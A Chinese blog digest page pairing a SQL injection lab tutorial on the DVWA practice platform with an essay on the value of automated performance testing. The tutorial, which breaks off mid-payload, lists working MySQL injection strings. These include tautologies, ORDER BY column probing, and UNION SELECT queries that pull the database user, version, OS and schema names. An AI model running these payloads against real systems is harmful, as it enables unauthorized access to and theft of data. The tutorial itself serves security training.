2013年7月19日星期五

SQL注入之DVWA平台测试mysql注入

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订
SQL注入之DVWA平台测试mysql注入  阅读原文»

每日博报 精彩不止一点关闭
SQL注入之DVWA平台测试mysql注入

今天主要针对mysql常用注入语句进行测试。

测试环境与工具:

测试平台:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-table2虚拟机,里面已经部署好了dvwa.。

渗透工具:burpsuite-1.4.07下载地址:http://down.51cto.com/data/875103

首先我们介绍下DVWA和Burpsuite,DVWA这是一个php+mysql平台构建的预置web常见漏洞的渗透练习平台。能够帮助web应用安全研究人员很好了解web漏洞。Burpsuite是一款功能强大的web渗透测试工具。

SQL注入漏洞在OWASPTOP10威胁中,一直排名第一,安全威胁可见一斑。SQL注入渗透测试过程中,针对不同的数据库平台,注入语句选择也不同,本篇笔者主要测试mysql注入的常用语句以及渗透思路。

登录访问DVWA,默认用户名:admin密码:password.

登录之后,将dvwa的安全级别调成low,low代表安全级别最低,存在较容易测试的漏洞。

1、找到SQlInjection选项,测试是否存在注入点,这里用户交互的地方为表单,这也是常见的SQL注入漏洞存在的地方。正常测试,输入1,可以得到如下结果

  当将输入变为"'"时,页面提示错误"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1",结果如图。看到这个结果,我们可以欣慰的知道,这个表单存在着注入漏洞。  

2、尝试遍历数据库表,由于用户输入的值为ID,因此我们习惯判断这里的注入类型为数字型,因此尝试输入:1or1=1,看能否把数据库表中的内容遍历出来。可是结果如下,并没有显示出所有信息

于是猜测,是否后台应用程序将此值看做了字符型,于是输入:1'or'1'='1,结果,遍历出了数据库中的所有内容,如果是重要数据库表,可能这个信息已经对于攻击者,有了足够意义:如图

1'or'1'='1

3、测试查询信息列数。利用语句orderbynum

这里我们输入"1'orderby1--"结果页面正常显示,注意--后面有空格。继续测试,"1'orderby2--","1'orderby3--",当输入3是,页面报错。页面错误信息如下,Unknowncolumn'3'in'orderclause',由此我们判断查询结果值为2列。

1'orderby1--

1'orderby3--

    

Unknowncolumn'3'in'orderclause'

4、通过得到连接数据库账户信息、数据库名称、数据库版本信息。利用user(),及database(),version()等三个内置函数。

这里尝试注入"1'and1=2unionselect1,2--"结果如下

1'and1=2unionselect1,2--

从而得出Firstname处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:

1'and1=2unionselectuser(),database()--

连接数据库的用户为root@localhost,数据库名称为dvwa,进一步利用函数version(),尝试得到版本信息,"1'and1=2unionselectversion(),database()--"便得到了版本信息,

1'and1=2unionselectversion(),database()--

5、获得操作系统信息。

  1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --  

6、测试连接数据库权限:

   1' and ord(mid(user(),1,1))=114 --  

7、查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。

  1' and 1=2 union select 1,schema_name from information_schema.schemata --  
    

8、猜解dvwa数据库中的表名。利用1'andexists(select*from表名),此处表名猜解可以通过brupsuit挂字典猜解。这里测试的结果,表名为users,burpsuite如何自动注入,在稍后文章进一步介绍。这里猜解表名,在真实渗透测试环境中,攻击者往往关心存储管理员用户与密码信息的表。

1'andexists(select*fromusers)--

9、猜解字段名:1'andexists(select表名fromusers)--,这里测试的字段名有first_name,last_name

  1' a
论性能测试的必要性  阅读原文»

论性能测试的必要性

论性能测试的必要性

说起为什么要进行性能测试,前面已经多少谈到一些。下面,从"性能测试与功能测试关系"及"性能自动化测试优势"两方面给读者作答。

1. 性能测试与功能测试关系

性能测试和功能测试是测试工作中两个不同的方面,只是在关注的内容上有差异而已。前者侧重"性能"而后者侧重"功能"。但殊途同归,它们的最终目的都是为了提高软件质量,以更好地满足用户需求。

"功能"指的是在一般条件下,软件系统能够为用户做什么以及能够满足用户什么样的需求。比如一个论坛网站,用户期望这个网站能够提供浏览帖子、发布帖子、回复帖子等功能,则只有这些功能都正确实现了,用户才认为满足了他们的功能需求。但是,一个论坛除了满足用户的"功能"需求之外,还必须满足"性能"需求。比如:服务器需要能够及时处理大量用户的同时访问请求;服务器程序不能出现死机情况;不能让用户等待"很久"才打开想要的页面;数据库必须能够支持大量数据的存储以实现对大量的发帖和回帖数据的保存;论坛一天24小时都可能有用户访问,夜间也不能停止休息,它必须承受长时间的运转;等等。

从上面的描述来看,软件系统"能不能工作"已经是一个基本的要求,而能够"又好又快地工作"才是用户追求的目标。"好"体现在降低用户硬件资源成本,减少用户硬件方面的支出上;"快"体现在系统反应速度上,用户在进行了某项操作后能很快得到系统的响应,避免了用户时间的浪费。这些"好、快"的改进都体现在软件性能上。换言之,"性能"就是在空间和时间资源有限的条件下,系统的工作情况。

综上,功能考虑的是软件"能做什么"的问题;而性能关注的是软件所完成的工作"做得如何"的问题。显然,软件性能的实现是建立在功能实现的基础之上的,只有"能做"才能考虑"做的如何"。

在了解功能和性能的区别之后,再理解功能测试和性能测试就很容易了。功能测试主要针对于软件功能开展检测,常常会依据需求规格说明书开展测试;性能测试主要针对于系统性能进行检测,通常会依据性能方面的一些指标或需求进行测试(对于如何获取性能需求请参考1.6小节)。性能测试的目的是验证软件系统是否能够达到用户提出的性能指标,发现软件系统中存在的性能瓶颈以优化软件和系统。在理论上来讲,功能测试和性能测试没有先后顺序,都是系统测试的一部分。测试过程中,要随时注意性能方面的检测。但在很多企业的实际测试工作中,一般会先进行功能测试。所测软件在功能上不存在严重问题且其流程能够"跑通"之后再对它做性能测试。正如前面所说,任何一个产品首先要保证其最基本功能的实现,否则,其性能即使再好也失去了存在的意义。

注意:软件包含程序、文档和数据,故软件测试也不能只针对程序进行检测,还应对其配套文档和系统中数据进行测试。

2. 性能自动化测试优势

性能测试可通过"手工"和"自动化"(自动化测试需要借助于自动化测试工具)两种测试手段实现。相比于"性能手工测试"而言,"性能自动测试"具有诸多优势。下面,首先阐述"性能手工测试的弊端"以使读者认识到引入自动化测试(或说学习自动化测试工具和方法)的必要性。

1. 性能手工测试弊端

通过一个例子加以说明。假设要测试一个Web系统的性能,验证其是否能支持50个用户的并发访问,如图1.1所示。下面,采用"手工"方式实现这一测试需求。

1)首先,准备足够的资源:50名测试人员,每人有一台电脑以进行操作支持。

2)其次,准备一名"嗓音足够大"的指挥人员统一发布号令以调度测试人员对系统进行同步测试。每位参与测试的人员需要注意力集中,在听到指挥员"开始测试"的号令后进行"理论上的同时"操作(每个人反应速度不好控制,所以为理论上的"同时")。

3)再次,在50个测试人员"同时"执行操作后,对每台电脑上的测试数据和服务器中的测试数据进行搜集和整理。

4)最后,在缺陷被修复后,要开展回归测试(是指在发生修改之后重新测试先前的测试以保证修改的正确性)。即需要再执行1~4步直到满足性能需求为止。

不难看出,"手工"测试需求的人力量很大(上面只是假设了50个并发访问的情况,如果是5 万个呢,难道要准备5万个测试人员?)。此外,支持"理论上的同时"访问并不是真正想要的性能,我们需要的是"真正意义上的"并发访问。再者,回归测试往往需要在相同的"场景"下进行,在手工测试下,根本不可能"再现"上一次的测试场景。也就是说,第4步中的回归测试也不是真正意义上的回归测试。

总归一句话,"性能手工测试"弊病诸多。

clip_image002

图1.1 性能手工测试弊端

2. 性能自动化测试优势

性能自动化测试工具可轻松化解性能手工测试中暴露出来的一系列问题,如图1.2所示。其解决的方式如下。

1)准备好性能测试工具和一台机器,而无需号召至少50个测试人员协助测试和50台机器。性能自动化测试工具能"虚拟"出任意多个用户(这些虚拟用户不会在工作中带上个人情绪和疲劳的状态),该工具可以在一台测试机上"模拟"出50个用户的同时访问。显然,相比于"手工测试",自动化测试节省了大量的硬件资源和人力资源。

2)无需指挥人员发布号令进行调度和同步测试用户,自动化工具可以帮助我们自动控制虚拟用户的运行与同步,实现严格意义上的并发操作。

3)测试完毕后,工具将自动收集测试数据并分析测试结果而无需逐一收集各台机器(含服务器)上的测试数据和结果。

4)测试完毕并缺陷被修复后,要开展回归测试。此时,只需要重新运行上一次测试操作的"录制"脚本即可,上一次的测试情景将立刻重现。可对两次测试结果进行自动比较,分析其中的不同之处。

性能自动化测试工具能帮助测试人员模拟出很多真实复杂的业务场景,能够让系统持续运行几天几夜甚至更久的时间,还能捕捉到很多难以捕获的结果等,这些都是手工测试所不能完成的。

clip_image004

图1.2 性能自动化测试优势

尽管读者对上面的描述可能还不尽理解,但有一点,读者是肯定理解了的,即:性能自动化测试值得我们推广和采用。

3. 性能测试定义与要点

对性能测试的定义,仁者见仁,智者见智。尽管定义很多,但它们的核心内容是保持一致的。较常见的关于性能测试的定义如下:性能测试是通过自动化的测试工具模拟多种正常、峰值以及异常负载条件来对系统的各项性能指标进行测试。

上述定义主要包含了3层含义:

1)通常,性能测试需要借助工具实现。与功能测试主要借助手工开展不同,性能测试一定要借助工具来协助完成。

2)性能测试除了关注普通的正常情况外(如:单用户短时间操作),还重点关注空间和时间上的很多峰值或异常的系统运行情况,如:多用户并发操作、大数据量积累、超负载运行、系统长期持续使用等情况,而这些情况下更容易暴露系统的性能问题。

3)性能测试借助所监控和收集的各项指标来分析系统的性能。指标的范围很广阔,涵盖了系统软件指标(程序自身)和硬件指标(客户端性能指标、网络性能指标、服务器端性能指标)。它不仅关注程序性能,还要考虑数据库性能,同时也兼顾程序运行期间客户端、服务器(应用服务器、数据库服务器等)各项系统资源运行情况,如:CPU使用率、内存及磁盘使用情况等。

上述定义强调了性能测试的很多重要信息。但是,仅依靠上述性能测试的定义来理解性能测试还是远远不够的。下面,我们再给读者补充一些性能测试的要点及其分析。

  1. 性能测试通常在功能测试基本完成后进行。该要点主要强调性能测试开展的时间问题。虽然总是强调功能测试和性能测试同等重要,应同时开展。但在大多数实际工作中,性能测试的开展会滞后于功能测试。其原因主要在于性能测试属于综合性测试,只有在功能测试通过后,性能测试才会有较大意义。但是对于两类软件存在例外,其性能测试一般进行的较早,几乎伴随着单元测试同步进行。第一类是系统软件,如:操作系统或者数据库?p>阅读更多内容

没有评论:

发表评论